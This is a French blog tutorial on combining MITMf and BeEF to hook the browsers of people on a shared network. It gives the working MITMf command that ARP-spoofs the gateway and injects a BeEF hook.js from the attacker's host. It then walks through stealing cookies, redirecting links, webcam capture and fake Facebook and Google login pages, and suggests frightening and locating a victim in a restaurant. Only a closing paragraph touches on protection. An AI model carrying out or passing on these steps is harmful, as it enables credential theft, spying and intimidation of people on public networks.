MITMf et BeEf : Injection de Javascript

Dans cet article, nous allons voir les possibilités que nous offre MITMf lorsqu’on l’utilise avec BeEF. Si vous ne savez pas ce qu’est MITMf je vous invite à lire cet article.

Quant à BeEF, c’est tout simplement un framework pour XSS. Alors là vous allez me dire « ok c’est bien beau mais MITMf c’est pas du XSS » et là je vous répondrai que c’est vrai. Mais nous y reviendrons plus tard.

Pour commencer je vais vous montrer ce qu’est BeEf.

I/ BeEf le framework XSS

BeEF est donc un framework destiné aux attaques XSS. Le créateur explique qu’il a eu l’idée de développer cet outil afin de montrer le potentiel destructeur de la faille XSS. En effet les développeurs n’étaient pas du tout impressionnés par le fameux alert(« XSS ») qui affichait un simple message. Pour eux ce n’était qu’un problème mineur. Or lorsque Wade Alcorn (le créateur du projet) a montré ce qu’il pouvait faire… Eh bien là les gens ont commencé à réfléchir.

BeEF est installé d’office sur Kali Linux. Pour ceux qui utilisent une autre distribution, je vous redirige vers cette page qui vous explique en détails la méthode à suivre. Suivez simplement le INSTALL.txt  !

Pour lancer beEF rendez vous dans le dossier /usr/share/beef-xss puis entrez la commande suivante :

./beef

beef1.png

Ce qui nous intéresse le plus ici c’est les 3 lignes « running on network interface w.x.y.z ». Dans mon cas j’ai 3 lignes car j’ai 3 interfaces différentes : l’interface wlan0 (wifi), l’interface eth0 (ethernet) et l’interface localhost. Chacune de ces lignes est composée de deux sous lignes : « Hook URL » et « UI URL ».

La ligne « Hook URL » correspond au hameçon. C’est ce que l’on va envoyer à la victime. l’UI URL c’est l’URL de l’interface web.

Comment tout ceci fonctionne?

En fait BeEF va se servir de son script « Hook URL » comme d’un point d’ancrage dans le navigateur de la victime. Lorsque nous allons envoyer ce script js, nous allons contaminer le navigateur de la victime. A partir de là nous pourrons à partir de l’interface web envoyez plusieurs instructions un peu comme un shell.

Faites un clic droit sur l’UI URL correspondant à l’adresse IP de votre ordinateur puis cliquez sur « ouvrir le lien ».

Une nouvelle fenêtre devrait apparaître dans votre navigateur :

beef2.png

Le Username ainsi que le Password sont ceux par défaut c’est à dire beef et beef. Pour le moment c’est plutôt vide et pour cause nous n’avons lancé aucune attaque. Voici à quoi ressemblera l’interface plus tard :

beef3.png

Les machines zombies sont en fait celles que l’on a déjà hameçonné par le passé. Vous noterez que les machines sont classées dans deux groupes « Offline » et « Online ». On voit par ailleurs quel OS est utilisé par la machine.

Les plugins injectables sont les différents payloads javascript que l’on va envoyer au navigateur de la victime. A droite vous avez le descriptif de la commande et au centre le résultat de cette dernière.

Enfin vous avez d’autres outils comme le « Network » qui permet de dresser un plan de l’architecture réseau.

Voila pour les présentations. Rentrons dans le vif du sujet.

II/ MITMf et BeEF, duo parfait ?

Jusqu’à présent je vous ai dit que BeEF était un framework pour XSS. Hors avec MITMf on n’exploite pas de failles XSS. Avec MITMf on procède à une attaque du type Man In The Middle. Oui mais voilà, MITMf dispose d’une option bien sympathique :

--js-url JS URL URL of the JS to inject

Et c’est là qu’est le problème. En effet avec MITMf vous allez pouvoir injecter le lien du Hook beEF. Donc prendre le contrôle de son navigateur ! Plus besoin de faille XSS puisque maintenant il suffit qu’une personne se connecter sur un site en HTTP (à voir pour du HTTPS) pour que son navigateur soit infecté ! Et si c’est le cas… Et bien vous allez voir ce que ça donne  !

Pour lancer l’attaque nous allons devoir lancer BeEF. A priori c’est déjà fait donc maintenant nous allons lancer MITMF. Pour cela rendez vous dans le répertoire MITMF puis lancez cette commande :

 python mitmf.py -i eth0 --gateway 192.168.0.1 --spoof --arp --inject --js-url http://192.168.0.28:3000/hook.js

Bien évidemment vous devrez remplacer les données par vos valeurs (votre adresse IP, votre interface wifi ou ethernet) ainsi que le lien de votre Hook javascript.

Maintenant nous allons tout simplement attendre que la victime se connecte sur Internet.

beef4.png

Ça va prendre un peu de temps avant que tout s’actualise sur BeEF mais au final vous aurez ceci :

beef5.png

Cliquez dessus et ceci va apparaître :

beef6.png

Allez directement dans la section « Persistance » puis cliquez sur « Create Pop Under ». Ce module va ouvrir une nouvelle page miniaturisée sur le navigateur de la victime de telle sorte que même si la victime ferme la page HTTP sur laquelle il navigue, beEF sera toujours accroché au navigateur et donc on pourra continuer d’envoyer des requêtes.

Cliquez sur « Execute » en bas à droite et voila ce que la victime recevra :

beef7.png

Un pop-up discret que la victime ne verra pratiquement pas ! Maintenant que le navigateur de notre victime est hameçoné nous allons pouvoir jouer avec !

III/ Exploitation

Voici les différentes catégories d’exploit que nous pouvons utiliser :

beef8.png

Nous allons en voir quelques uns ici. Tout d’abord lorsque l’on lance une XSS c’est souvent dans le but de récupérer les cookies de l’administrateur ou des visiteurs du site. Il est évident que BeEF propose cette fonctionnalité. Allez sur Browser puis « Get Cookie ». Pour vous prouvez que l’attaque est fonctionnelle j’ai crée un cookie « test » dans le navigateur de la victime. En cliquant sur « Execute » j’obtiens ceci :

beef9.png

Regardez la dernière ligne, voici notre cookie.

On peut aussi modifier les href de tous les liens du site que visite la victime. Allez dans Browser > Hooked Domain > Replace HREF (Click Events). Pour ma part j’ai remplacé le lien de beEF par celui de mon site. J’exécute puis je vais sur le navigateur de la victime et que vois-je ?

beef10.png

Autrement dit nous pouvons rediriger n’importe quel utilisateur vers mon site, votre site, ou encore le serveur apache2 qui tourne sur ma machine.

On pourra aussi prendre des photos via la webcam de l’ordinateur ! Bon, en réalité cette attaque a très peu de chance de fonctionner s’il n’y a pas une surcouche d’ingénierie sociale. Allez dans browser puis webcam HTML5.

Après avoir lancer la commande voici ce que vous aurez sur le navigateur de la victime :

beef11.png

Personne de sensé n’autorisera la webcam à moins que vous trouviez un moyen de contraindre la victime à le faire. On verra à la fin de l’article comment peut être manipulé une victime.

En tout cas voici ce que vous obtiendrez si la victime autorise la webcam :

beef12.png

Voici une photographie prise par la webcam de l’ordinateur qui joue le rôle de la victime.

Il y a pleins d’autres options très intéressants que l’on peut utiliser en fonction du navigateur et de l’OS de la victime. Par exemple on peut récupérer les contacts des utilisateurs d’Iphone via une faille Skype.

Dans l’article sur MITMf je vous ai montré comment on pouvait modifier le contenu de la page de la victime en injectant un script js.

Aujourd’hui nous allons faire mieux puisque nous allons injecter des pages contrefaites ! Eh oui, avec BeEF on peut faire du phishing ! Et c’est là que l’ingénierie sociale devient nécessaire.

IV/MITMF, BeEF et Ingénierie sociale

Plusieurs modules sont disponibles pour tout ce qui touche au phishing. Tout d’abord on va pouvoir falsifier les barres de notification des navigateurs. Voici la barre de notification de Firefox proposée par BeEF :

beef13.png

Hormis le bouton « Install plug-in » qui est flouté, le tout reste crédible.

Si la victime clique dessus alors elle sera redirigée vers l’URL que vous aurez spécifié. On peut aussi l’amener à télécharger un fichier tel qu’un trojan. Un pirate essayera de travailler son ingénierie sociale au maximum afin d’inciter la victime à exécuter le .exe.

L’attaque MITM peut se produire lorsque la victime et le pirate sont sur le même réseau. Un pirate, pour vous faire peur, pourra jouer sur le fait qu’il sait ou vous vous trouvez puisque vous vous trouvez dans le même lieu que lui. Si la victime réagit face à l’annonce de sa position et que le pirate est aux aguets alors il pourra repérer sa victime et jouer sur la peur pour lui faire faire n’importe quoi. Vous voyez à quel point ça peut être vicieux ?

Encore pire, puisque le pirate est en position de MITM, il aura accès à tous ce que sa victime fait sur le web. HTTPS ou pas, il saura quels sites visite la victime et pourra donc jouer encore sur l’ingénierie sociale ! Par exemple, si le pirate repère que sa victime navigue sur Facebook alors il pourra tenter de récupérer les identifiants de sa victime avec le plugin Pretty Theft :

beef14.png

Ce qui nous permettra de récupérer ses identifiants.

La même chose peut être fait avec l’authentification de Google :

beef15.png

Libre à vous d’ajouter les templates que vous voulez : twitter, instagram et j’en passe.

V/Conclusion

Le problème avec MITMf et BeEF c’est que la faiblesse d’HTTP devient le support d’une attaque beaucoup plus dangereuse. Le Man In The Middle qui servait à l’origine à sniffer des mots de passe ou le trafic d’une personne sert maintenant à injecter du code javascript dans différents buts : vol de données, compromission d’ordinateur, phishing et pire avec les modules pour Metasploit…

Par ailleurs cette attaque est d’une extrême simplicité à mettre en œuvre puisqu’il suffit d’un seul site en HTTP visité pour que le navigateur de la victime soit hameçonné ! UN SEUL!!

La seule étape qui peut s’avérer compliquer c’est toute la partie d’ingénierie sociale mais bon avec un peu de manipulation mentale et d’observation vous trouverez facilement qui vous avez hameçonné.

Imaginez qu’un pirate se trouve dans un Macdo et lance cette attaque. La victime se fait hameçonner. Le pirate pourra commencer par lui envoyer un pop-up avec un message tel que « Je sais que tu es au Macdo ». La victime réagira probablement donc le pirate pourra la repérer. Ensuite si le pirate décrit la victime (style vestimentaire, coiffure etc…) alors la victime prendra peur et sera plus facilement manipulable !

Et même si le pirate galère à trouver sa victime il pourra toujours se servir du module sonore qui joue un son au travers du navigateur de la victime. Donc dans tous les cas un pirate trouvera sa victime avec un minimum de travail !

C’est absolument terrifiant et c’est pour ça que je vous disais au début que c’est l’article le plus violent que j’ai jamais eu à écrire. On en vient donc à la question fatidique : comment se protéger ? Eh bien malheureusement c’est très compliqué… Le tout ici étant de ne jamais vous rendre sur un site dont le serveur n’utilise pas HTTPS soit environ 20% du web actuel.

Le mieux que vous puissiez faire c’est de ne pas vous connectez sur les réseau publics ou en tout cas de faire extrêmement attention.

Je ne vous ai pas montré les modules les plus violent de BeEF parce que pour le moment je ne les maîtrise pas complètement mais lorsque j’aurais avancé sur Metasploit (framework de pentest) je vous montrerai en détails les possibilités offertes !